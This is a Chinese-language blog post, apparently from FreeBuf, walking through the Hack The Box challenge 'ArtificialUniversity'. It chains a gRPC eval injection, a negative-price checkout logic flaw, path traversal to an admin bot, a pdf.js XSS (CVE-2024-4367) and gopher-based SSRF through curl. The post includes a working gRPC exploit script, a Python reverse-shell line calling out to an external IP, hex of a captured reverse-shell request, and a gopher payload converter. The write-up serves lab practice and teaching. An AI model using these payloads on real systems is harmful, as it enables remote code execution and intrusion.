freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Hack the Box 靶场练习-INSANE-ArtificialUniversity
2025-03-04 16:07:55
所属地 海外
ArtificialUniversity是Hack The Box上INSANE难度Chanllenges的web题,它模拟了在线教育平台购买课程的商城模块,项目源码分为grpc开启的product_api服务和flask开启的store商城web两个部分,题目对外只开放了web端口,推测要在web找到去触发grpc机制的点来完成题目,最后的rce应该是在grpc端。因此本地搭建环境后先分析api部分。

image.png

GRPC

在api.py中的GenerateProduct调用了eval函数,而全文只有GetNewProducts这个对外的函数调用了GenerateProduct函数,如果找到可以控制price_formula参数的方法再调用GetNewProducts即可命令执行。

image.png
在api.py中还有一个UpdateService函数根据传入的字典可修改键值对属性,其被对外函数DebugService调用。
image.png
而DebugService的作用是接收客户端传来的参数然后调用UpdateService。
image.png
因此可构造利用链,先调用DebugService修改"price_formula"为要执行的命令,然后调用GetNewProducts 来触发 eval,在deepseek的帮助下完成如下exp。通过项目自带的proto文件生成grpc模块命令是:
python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. product.proto

import grpc
import product_pb2
import product_pb2_grpc
from google.protobuf.struct_pb2 import Struct

def exploit():
    # 连接到 gRPC 服务
    channel = grpc.insecure_channel('127.0.0.1:50051')  # 替换为目标服务地址
    stub = product_pb2_grpc.ProductServiceStub(channel)

    # 构造恶意请求,设置 price_formula 为命令执行代码
    merge_request = product_pb2.MergeRequest()
    merge_request.input['price_formula'].string_value = "__import__('os').system('touch /tmp/pwn')"

    # 利用原生python反弹shell
    # merge_request.input['price_formula'].string_value = '''__import__('os').system('python3 -c \\'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4242));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")\\'')'''


    # 调用 DebugService 接口,传入恶意的 MergeRequest
    print("[*] Sending malicious DebugService request...")
    stub.DebugService(merge_request)

    # 调用 GetNewProducts 来触发 eval 执行命令
    print("[*] Triggering GenerateProduct to execute the payload...")
    response = stub.GetNewProducts(product_pb2.Empty())
    print("Response received:", response)

if __name__ == "__main__":
    exploit()

在本地环境命令执行复现成功后,需要考虑的如何在web端利用这样的exp

WEB

找寻注入、上传等漏洞无果后开始逐一分析ruotes.py下的各个接口。其中/admin/xxxx均是需要admin账号登录才能访问的内容。

/checkout/success

在尝试找越权漏洞时发现/checkout/success接口发现一处可疑操作,可以看到前面的判断符号条件后会自动传入admin的账号和密码去调用bot_runner函数。
image.png
跟入bot_runner函数,其作用是模拟客户端通过firefox浏览器访问获取支付订单生成的pdf,但payment_id是可控的因此当payment_id是../../../../../../admin/xxx时其过程就是firefox以admin的身份访问http://127.0.0.1:1337/admin/xxx.pdf,因为是模拟的浏览器操作再加上#作为片段标识符"../../../../../../admin/xxx#"浏览器会截断后面的内容,以此实现admin身份触发http://127.0.0.1:1337/admin/xxx接口的内容。
image.png
但现在还有个问题要触发bot_runner函数,需要先满足前面的条件if amt_paid >= order.price,否则会直接跳转error.html,而通读全文可知amt_paid的值是0无法改动,也就是说只有传入的订单价格需要为负数才可满足此条件。接下来需要考虑的就是怎么创建一个price小于0的订单。

/checkout

来到创建订单的接口/checkout可以看到有很奇怪的逻辑,当我们传入product_id,会进入if product_id:语句的代码段直接生成默认的订单信息,传入price等参数不会对订单产生任何影响,但是当我们传入的参数没有product_id但是包括price等另外四个完整的参数时会使得if product_id and not session.get("loggedin")结果为false,从而跳过登录验证直接执行后续的代码(但因为传递的参数有一个user_id所以这个绕过登录验证没有什么实际意义,为后续方便得到order_id还是建议登录后进行接下来的操作),而if not product_id and (not price or not title or not user_id or not email):这整条判断语句的结果也会是false使得程序继续往后运行,因为没有prodct_id判断语句if product_id:会执行else的分支语句从而创建一个由用户控制内容的订单。
image.png
用户可以据此创建一个price为负数的订单。
image.png
登录后访问/subs接口去获取创建price为负数的订单的order_id。
image.png
结合前面的/checkout/success接口,可实现访问admin接口的完整利用/checkout/success?order_id=6&payment_id=../../../../../admin/xxx,但是这个利用特别受限,只能像目标接口发送get请求,而且整个过程是服务器上通过firefox访问的也无法看到反馈。接下来要做的就是找/admin相关的接口找到可利用的点。

/admin/view-pdf

在admin的接口下找到一个view-pdf接口。这个接口可以实现根据url参数预览目标pdf内容。

image.png
在本地测试这个接口(考虑靶场是否出网情况也要在靶场上测试,发现可以让靶机访问到vps放的pdf)。
image.png
其实到此处已经束手无策了,仅有一个访问pdf的功能,其它接口也因为只能传入GET请求而难以利用,在查询资料时找到f1yth1ef师傅提供的一个思路。可以利用在一个名为pdf.js的xss漏洞,我们可以构造一个自动跳转目标路径并携带post内容的payload,而服务器在模拟firefox打开这个pdf时就可以实现发送post请求访问/admin其它接口。

/admin/api-health

以post请求api-health接口服务器会调用get_url_status_code函数。

image.png
跟入get_url_status_code函数,其功能是利用subprocess模块模拟终端使用curl发送请求。
image.png
根据f1yth1ef师傅的思路我们可以将前面grpc的请求转换成gopher协议的操作即可被curl发送的类似ssrf打内网redis的利用链。接下来需要做的就是将分析grpc部分构造的exp转换成gopher协议。

gopher转换

首先在本地运行api.py,用wireshark捕获exp执行过程。打开tcp流复制请求部分的raw数据。

image.png
将下面这个转换脚本中的raw_hex部分替换为复制的raw数据并运行

import binascii
import urllib.parse

def hex_to_gopher(hex_str: str) -> str:
    """直接转换纯Hex字符串到gopher URL"""
    # 清理非Hex字符
    cleaned = hex_str.replace(" ", "").replace("\n", "").strip()

    # 验证Hex长度
    if len(cleaned) % 2 != 0:
        raise ValueError("无效的Hex长度")

    try:
        binary = binascii.unhexlify(cleaned)
    except binascii.Error as e:
        raise ValueError(f"Hex解码失败: {str(e)}")

    # 基础协议验证
    if not binary.startswith(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'):
        raise ValueError("无效的HTTP/2魔术字节")

    # 生成gopher URL
    encoded = urllib.parse.quote(binary, safe='')
    return f"gopher://127.0.0.1:50051/_{encoded}"

# 输入数据(已清理的连续Hex)
raw_hex = """
505249202a20485454502f322e300d0a0d0a534d0d0a0d0a000024040000000000000200000000000300000000000400400000000500400000000600004000fe0300000001000004080000000000003f0001
000000040100000000
0000e101040000000140053a70617468242f70726f647563742e50726f64756374536572766963652f446562756753657276696365400a3a617574686f726974790f6c6f63616c686f73743a35303035318386400c636f6e74656e742d74797065106170706c69636174696f6e2f677270634002746508747261696c6572734014677270632d6163636570742d656e636f64696e67176964656e746974792c206465666c6174652c20677a6970400a757365722d6167656e7430677270632d707974686f6e2f312e37302e3020677270632d632f34352e302e3020286c696e75783b2063687474703229000004080000000001000000050000ce00010000000100000000c90ac6010a0d70726963655f666f726d756c6112b4010ab1015f5f696d706f72745f5f28276f7327292e73797374656d2827707974686f6e33202d63205c27696d706f727420736f636b65742c6f732c7074793b733d736f636b65742e736f636b657428293b732e636f6e6e6563742828223137322e31372e302e31222c3637363729293b5b6f732e6475703228732e66696c656e6f28292c66642920666f7220666420696e2028302c312c32295d3b7074792e737061776e28222f62696e2f6261736822295c27272900000408000000000000000005
0000080601000000002c20317a14a3fad2
000008060000000000deac00f8ef07f63c
00003501040000000340053a70617468262f70726f647563742e50726f64756374536572766963652f4765744e657750726f6475637473c38386c2c1c0bf00000408000000000300000005000005000100000003000000000000000408000000000000000005
00000806010000000049be420c8749b031
"""

try:
    # 生成URL
    gopher_url = hex_to_gopher(raw_hex)

    print("成功生成gopher URL:")
    print(gopher_url)

except ValueError as e:
    print("错误:", str(e))
得到gohper的数据

image.png
先在本地测试一下直接用curl命令能否执行exp中的touch /tmp/pwn命令。可能是粘包、服务器响应等问题,在运行多次curl命令发送payload后才能成功执行touch命令。
image.png
至此所需的利用条件已全部找到。

完整利用

首先用wireshark捕获通过exp反弹shell的请求,复制其raw数据,通过gopher转换脚本得到payload。

然后通过CVE-2024-4367漏洞制作一个可自动跳转至/admin/api-health并携带cookie和post内容为url=gopher://.....请求的pdf,关键payload如下所示。
image.png
将pdf放在可被靶场访问的vps上并开启web服务。
image.png
另起一个终端开启nc监听,等待后续操作后反弹shell。
image.png
不带product_id参数触发/checkout的逻辑漏洞创建一个price为负数的订单
image.png
然后访问checkout/success使用携带price为负数的订单id去访问/admin/view-pdf接口使服务器访问pdf触发xss跳转执行payload。
image.png
反弹shell得到flag。
image.png

参考链接

https://www.freebuf.com/articles/web/410492.html
https://cloud.tencent.com/developer/article/2420071

# 网络安全 # web安全 # 漏洞分析 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录